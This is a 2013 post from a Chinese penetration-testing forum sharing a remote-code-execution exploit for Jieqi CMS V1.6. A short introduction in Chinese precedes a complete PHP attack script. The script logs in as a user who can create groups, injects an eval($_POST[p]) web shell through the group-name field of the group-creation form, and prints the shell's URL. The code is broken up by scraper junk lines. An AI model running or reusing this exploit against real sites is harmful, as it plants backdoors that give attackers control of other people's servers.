中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
' d# p! D" G) _ ?* N) m$ m
5 U+ t4 k9 Y4 Z H: R
) q& ^3 N& F8 }
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
8 a, \' f9 v2 U. a+ s* L
需要有一个能创建圈子的用户。
6 d; P9 \) A9 D3 C' x7 A' E
8 V: [/ b/ A! Z$ a
<?php
) V K; } |$ t+ ]: z
: p7 @1 g: Y5 T
print_r('
! Y" @" x# O& z+ c
+---------------------------------------------------------------------------+
' f4 i, U3 r/ \* w, J0 A
Jieqi CMS V1.6 PHP Code Injection Exploit
3 L7 V( W, P! O0 n- p
by flyh4t
0 R/ b* G) ]& `
mail: phpsec at hotmail dot com
6 G" F0 [6 e8 L/ Z/ o$ v5 o
team:
http://www.wolvez.org
. j/ M, R4 ?( g9 F, H; p
+---------------------------------------------------------------------------+
) B% C" l7 o% h2 F* ?. j6 s
'); /**
* f( D* w4 p2 o4 I
* works regardless of php.ini settings
% K& U; e4 j- a U2 l5 Z2 c- @
*/ if ($argc < 5) { print_r('
0 {3 P+ R1 A5 D# _
+---------------------------------------------------------------------------+
" `" w- F7 u+ ]# k) x" b
Usage: php '.$argv[0].' host path username
. T6 y4 f; ^7 W4 q
host: target server (ip/hostname)
: Y3 O0 @% S) n A
path: path to jieqicms
8 s8 _/ V" q! z, T" K) K
uasename: a username who can create group
1 Q1 D" r" j. x- x' C
Example:
% V& z$ T# D$ N" u: f. d1 |! C/ Z2 c
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
9 X4 h1 C% ^" K) M6 [
+---------------------------------------------------------------------------+
* B3 A6 }) O5 U, }0 i( e
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
' N( o3 x+ A6 d& I$ U N5 e
Content-Disposition: form-data; name="gname"
7 D3 C* ^5 e, K" ?7 X+ t8 ]: q
7 v V- E g- L* G2 N# v$ w/ C
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
0 G& y( X, h ?
-----------------------------23281168279961
% p" ?3 m, y' E5 x* m1 L b+ ]
Content-Disposition: form-data; name="gcatid"
% x1 S4 o2 e: @5 u" ] W" V
! l# \6 Z1 \# ^6 T( R' e
1
5 m1 s! U2 A h! l
-----------------------------23281168279961
# N; W: q2 L8 f2 U2 Y
Content-Disposition: form-data; name="gaudit"
* o7 E" E, x2 |5 E$ V! ?, P
+ D; X* \0 R0 T$ X
1
' a: O) h; @# p# N0 l8 x6 s, {6 ?
-----------------------------23281168279961
+ y8 k0 {: L9 D
Content-Disposition: form-data; name="gbrief"
5 v k1 t* z7 D5 C" n0 `
" ?3 J3 T ^7 i+ s
1
2 X+ V3 g7 y$ E9 u) f
-----------------------------23281168279961--
! X' f+ j# n4 P4 J, C4 l
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
. T7 b% L3 I5 O, Y w! s
5 n0 ], N: A% M0 W
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2